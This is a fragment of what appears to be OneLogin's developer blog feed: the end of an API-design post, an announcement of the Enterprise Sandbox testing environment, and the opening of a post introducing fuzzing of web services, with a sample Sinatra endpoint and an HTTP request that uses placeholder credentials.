&lt;p&gt;Remember: &lt;strong&gt;The best API is one that feels invisible&lt;&#x2F;strong&gt;—it just works, intuitively, without getting in the way.&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;what-s-next&quot;&gt;What’s Next?&lt;&#x2F;h2&gt;
&lt;p&gt;Ready to experience an API designed with these principles in mind? Check out our &lt;a href=&quot;&#x2F;docs&#x2F;quickstart&#x2F;getting-started&quot;&gt;Quickstart Guide&lt;&#x2F;a&gt; and see how quickly you can integrate OneLogin’s APIs into your application.&lt;&#x2F;p&gt;
&lt;p&gt;Have thoughts on API design? We’d love to hear from you! Reach out on &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;onelogin&quot;&gt;GitHub&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;twitter.com&#x2F;OneLoginDev&quot;&gt;Twitter&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Introducing OneLogin Enterprise Sandbox</title>
        <published>2019-10-09T00:00:00+00:00</published>
        <updated>2019-10-09T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/enterprise-sandbox/"/>
        <id>https://developers.onelogin.com/blog/enterprise-sandbox/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/enterprise-sandbox/">&lt;p&gt;&lt;strong&gt;OneLogin Sandbox&lt;&#x2F;strong&gt;&lt;br&gt;
One of the main obstacles to delivering security at scale is confidence. When we send new configurations to production, are we confident they will run without errors or performance issues? When we enable new capabilities in our environment, are we sure these new capabilities were enabled correctly and will be acceptable by our various user communities? As the cybersecurity landscape evolves, how do we deliver the trusted experiences our users and customers will love? The answer for all of these is that we can promote changes to our production with confidence only after we conducted the appropriate acceptance and system testing.&lt;&#x2F;p&gt;
&lt;p&gt;To achieve this, developers require lower environments where they can test changes before going to production. For a while, OneLogin has offered customers a simple, developer-oriented sandbox environment. At Connect19 in San Francisco, we announced the additional availability of enterprise sandbox environments. These environments will enable administrators to fully or partially clone production data and safely test changes in an isolated environment before promoting these changes to production.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;So, what is Sandbox?&lt;&#x2F;strong&gt;&lt;br&gt;
If you’re reading this–chances are–you’re already familiar with the concept of a sandbox. A sandbox is a clean environment where developers and testers can collaborate in building and testing their code before it goes to production. The OneLogin Sandbox is ideal for testing new integrations, functionality, new product capabilities, performance, and snapshot backups of production data.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;How does it work?&lt;&#x2F;strong&gt;&lt;br&gt;
Sandbox is designed with DevOps principles in mind. By providing developers a blank environment, they are able to design, build, test, and release without affecting the production environment. As deployments become more complex, testing new configurations for hundreds of apps and thousands of users becomes a challenge. How do you experiment and build the confidence necessary to promote new deployments to production?&lt;&#x2F;p&gt;
&lt;p&gt;To start, you can’t just test using synthetic data. To avoid surprises in production and test under semi-production conditions, the Enterprise Sandbox enables your team to clone production-level data for testing within the secure confines of a separate, semi-production environment. Which is great, because mistakes happen. And when they do, it’s reassuring to know you can roll back bad deployments without adversely affecting production environments. This provides stability, confidence, and precision in deployments.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Why are we announcing this now?&lt;&#x2F;strong&gt;&lt;br&gt;
As companies come to see identity as the nucleus of their organization’s infrastructure, there’s a growing need to support a comprehensive identity strategy that includes a continuous delivery model. With more apps, users, and customers, businesses must be able to deploy new configurations not only at scale, but also with confidence. If your identity platform goes down, so too, does the ability to login and remain productive. Sandbox addresses that concern by empowering developers to properly test using real-life data and, in turn, deploy with certainty.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;What’s next?&lt;&#x2F;strong&gt;&lt;br&gt;
Testing in a sandbox environment is about safety. It allows customers to clone data and test in an environment that remains separate from live production data. By testing with data that’s reflective of real life, we hope customers can deliver mission critical infrastructure with peace of mind.&lt;&#x2F;p&gt;
&lt;p&gt;If you’d like to learn more about &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;developer-signup&quot;&gt;sandbox&lt;&#x2F;a&gt;, please contact your OneLogin account manager.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Make it Crash! Fuzzing Web Applications</title>
        <published>2019-07-01T00:00:00+00:00</published>
        <updated>2019-07-01T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/fuzzing-web-applications/"/>
        <id>https://developers.onelogin.com/blog/fuzzing-web-applications/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/fuzzing-web-applications/">&lt;style&gt;
.blog-border {
    border: 1px solid #D5D5D5;
    padding: 10px;
    border-radius: 3px;
}
.blog-border.code {
    background: #f3f3f4;
    margin-bottom: 15px;
}
&lt;&#x2F;style&gt;
&lt;p&gt;Companies dream of building apps that run without errors and give their users the freedom to do whatever they want. This requires removing validations, data-type constraints, and accepting various user inputs and formats to represent the same information, all while ensuring the application won’t crash and burn.&lt;&#x2F;p&gt;
&lt;p&gt;So, how does this work? There’s a step during the software development lifecycle dedicated to ensuring product quality, which means developers need to write tests (unit testing, integration testing, manual testing, etc.) that ensure the application won’t crash in unexpected situations.   Writing these kinds of tests is sometimes difficult, because we need to anticipate any scenario in which users might interact with an application. This is where Fuzzing helps detect flaws in application logic.&lt;&#x2F;p&gt;
&lt;p&gt;The first step to fuzzing an application begins with identifying all the ways a user can input information to the service. Tools like Postman simplify this task, but also having access to service endpoint documentation is even better!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;blog&#x2F;inline&#x2F;fuzzing-postman.png&quot; alt=&quot;Postman UI for sending requests to Service endpoint&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;It’s clear how users can send information to the service by using the headers and parameters in the HTTP request.&lt;&#x2F;p&gt;
&lt;p&gt;This service already has some logic in place for handling errors. It displays nice, informative messages instead of an ugly, and potentially risky (because of an information disclosure), backtrace derived from an unhandled exception.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;class&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; NetsuiteProxyService&lt;&#x2F;span&gt;&lt;span&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; Sinatra&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;Base&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;  set&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; :&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;show_exceptions&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; false&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;  get&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&#x2F;get_roles&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;    content_type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; :&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;    roles&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; client&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;list_select_values_for&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;      record_type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;employee&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;      sublist&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;rolesList&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;      field&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;selectedRole&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;      page_index&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    )&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;      &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;roles&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; roles&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;to_json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;  end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;  error&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;    content_type&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; :&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;    status&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 400&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#E36209, #FFAB70);&quot;&gt;      error&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; env&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;sinatra.error&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;message&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;to_json&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;  end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;At this point, it’s possible the development team already had some tests in place in order to check for the &lt;strong&gt;Happy, Sad, and Bad paths&lt;&#x2F;strong&gt;. These tests may return between two hundred and four hundred status responses, but never five hundred. However, the goal of Fuzzing is to go beyond that–we want to throw as much garbage as possible at the service and see what happens or breaks.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#24292E, #E1E4E8); background-color: light-dark(#FFFFFF, #24292E);&quot;&gt;&lt;code data-lang=&quot;javascript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;GET&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span&gt;get_roles&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; HTTP&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;Host&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; localhost&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;3000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;NS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;account&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; account&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;NS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;consumer_key&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; consumer&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;NS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;consumer_secret&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; consumer&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;secret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;NS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;token_id&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; token&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;NS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;token_secret&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; token&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;secret&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;NS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;email&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; example&lt;&#x2F;span&gt;&lt;span&gt;@&lt;&#x2F;span&gt;&lt;span&gt;email&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;NS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;password&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; supersecretpassword&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;NS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;API_VERSION&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;NS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;WSDL_DOMAIN&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; example&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;NS&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;WSDL&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; example&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span&gt;com&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;wsdl&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;User&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;Agent&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; PostmanRuntime&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;15&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#005CC5, #79B8FF);&quot;&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt;Accept&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&#x2F;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;Cache-Control: no-cache&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;Postman-Token: f7567113-0ee5-4410-ba21-0be8397895f3,2a1632b5-3c6b-4ef2-b56d-bd3b513da4fa&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;Host: localhost:3000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;cookie: session=COOKIE&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;accept-encoding: gzip, deflate&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;Connection: keep-alive&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;cache-control: no-cache&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;```xml&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#6A737D, #6A737D);&quot;&gt;&amp;lt;br&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
